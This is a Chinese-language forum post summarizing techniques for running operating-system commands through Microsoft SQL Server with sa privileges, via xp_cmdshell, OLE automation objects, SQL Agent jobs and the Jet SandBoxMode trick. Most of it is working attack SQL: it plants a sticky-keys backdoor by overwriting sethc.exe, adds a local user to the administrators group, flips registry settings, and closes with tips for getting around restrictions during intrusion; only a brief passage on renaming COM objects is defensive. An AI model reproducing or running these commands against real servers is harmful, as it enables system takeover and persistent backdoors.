找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 720|回复: 0

mssql的sa权限执行命令方法总结  

[复制链接]

633

主题

3624

回帖

9063

牛毛

论坛管理员

堕落天使

积分
11301
QQ
发表于 2008-11-4 20:43:46 | 显示全部楼层 |阅读模式
试环境:windows xp pro sp2 + MSSQL 2005(服务以system权限启动)

一.xp_cmdshell

EXEC master..xp_cmdshell ’ipconfig’

开启xp_cmdshell:

-- To allow advanced opti to be changed.

EXEC sp_configure ’show advanced opti’, 1

GO

-- To update the currently configured value for advanced opti.

RECONFIGURE

GO

-- To enable the feature.

EXEC sp_configure ’xp_cmdshell’, 1

GO

-- To update the currently configured value for this feature.

RECONFIGURE

GO

二.sp_oacreate

创建wscript.shell对象

use master declare @o int exec sp_oacreate ’wscript.shell’,@o out exec sp_oamethod @o,’run’,null,’cmd /c \"net user\" > c:\\test.tmp’

创建scripting.filesystemobject对象

declare @o int

exec sp_oacreate ’scripting.filesystemobject’, @o out

exec sp_oamethod @o, ’copyfile’,null,’c:\\windows\\explorer.exe’ ,’c:\\windows\\system32\\sethc.exe’;

declare @oo int

exec sp_oacreate ’scripting.filesystemobject’, @oo outexec sp_oamethod @oo, ’copyfile’,null,’c:\\windows\\system32\\sethc.exe’ ,’c:\\windows\\system32\\dllcache\\sethc.exe’;

可以用utilman.exe代替sethc.exe达到同样的效果后门很酷吗,呵呵

创建Shell.Application对象

declare @o int

exec sp_oacreate ’Shell.Application’, @o out

exec sp_oamethod @o, ’ShellExecute’,null, ’cmd.exe’,’cmd /c net user >c:\\test.txt’,’c:\\windows\\system32’,’’,1;

开启OLE Automation Procedures

sp_configure ’show advanced opti’, 1;

GO

RECONFIGURE;

GO

sp_configure ’Ole Automation Procedures’, 1;

GO

RECONFIGURE;

GO

我们的对策就是把对象做一下手脚

WScript.Shell可以调用系统内核运行DOS基本命令

可以通过修改注册表,将此组件改名,来防止危害。

HKEY_CLASSES_ROOT\\WScript.Shell\\

及HKEY_CLASSES_ROOT\\WScript.Shell.1\\

改名为其它的名字,如:改为WScript.Shell_ChangeName或WScript.Shell.1_ChangeName

自己以后调用的时候使用这个就可以正常调用此组件了

也要将clsid值也改一下

HKEY_CLASSES_ROOT\\WScript.Shell\\CLSID\\项目的值

HKEY_CLASSES_ROOT\\WScript.Shell.1\\CLSID\\项目的值

同wscript.shell理、scripting.filesystemobject、Shell.Application

三.JOB

利用JOB执行命令,有一个先决条件就是开启SQLSERVERAGENT服务,下面的语句可以开启

exec master.dbo.xp_servicecontrol ’start’,’SQLSERVERAGENT’

use msdb create table [jncsql](resulttxt nvarchar(1024) null) exec sp_delete_job null,’x’ exec sp_add_job ’x’ exec

sp_add_jobstep null,’x’,null,’1’,’cmdexec’,’cmd /c \"net user>c:\\test.test\"’ exec sp_add_jobserver

null,’x’,@@servername exec sp_start_job ’x’;

四.SandBoxMode(网上常说的沙盒模式)

原理:在access里调用VBS的shell函数,以system权限执行任何命令。但是试用这个函数之前必须把注册表里的一个叫SandBoxmode的开关打开,

注册表:HKEY_LOCAL_MACHINE\\SoFtWare\\Micris

oft\\Jet\\4.0\\Engine\\SandBoxmode.默认值为2,这个人键值为0表示始

终禁用SandBoxmode模式,1表示对于非Acess应用程序试用SandBoxmode模式,2表示对access应用程序使用SandBoxmode模式,3则表示完全开启安全设置。//1或0都可以执行命令

EXEC sp_addlinkedserver ’testsql’,’OLE DB Provider for Jet’,’ Microsoft.Jet.OLEDB.4.0’,’c:\\windows\\system32\\ias\\ias.mdb’

exec master..xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWARE\\ Microsoft\\Jet\\4.0\\Engines’,’SandBoxMode’,’REG_DWORD’,1

EXEC master..xp_regreadHKEY_LOCAL_MACHINE ,’Software\\ Microsoft\\Jet\\4.0\\engines’,’SandBoxMode’

select * from openrowset(’microsoft.jet.oledb.4.0’,’;database=c:\\windows\\system32\\ias\\ias.mdb’,’select shell(\"cmd.exe /c net user test test /add\")’)

select * from openrowset(’microsoft.jet.oledb.4.0’,

’;database=c:\\windows\\system32\\ias\\ias.mdb’,’select shell(\"cmd.exe /c net localgroup administrators test /add\")’)

下面是系统自带的两个mdb文件

C:\\WINDOWS\\system32\\ias\\dnary.mdb
C:\\WINDOWS\\system32\\ias\\ias.mdb

总结

上述几种方法(仔细看看我都忘记有几种了,哈哈。你可以发散思维,再找出来几种)都是在默认情况下测试的,往往渗透的时候有很多限制条件,我们可以逐一克服,利用组件得到服务器信息,读取、创建文件了等等,我们还是要对权限这个词组有深层次的理解啊。

附注
关于*.exec:\\windows\\system32\\ 还有c:\\windows\\system32\\dllcache呢
关于cmd.exe还有command.exe呢
关于net.exe还有net1.exe呢
Mdb文件不存在我们可以上传一个啊
执行命令的组件不是只有一个哦
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-1-16 17:52 , Processed in 0.117499 second(s), 20 queries , Yac On.

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表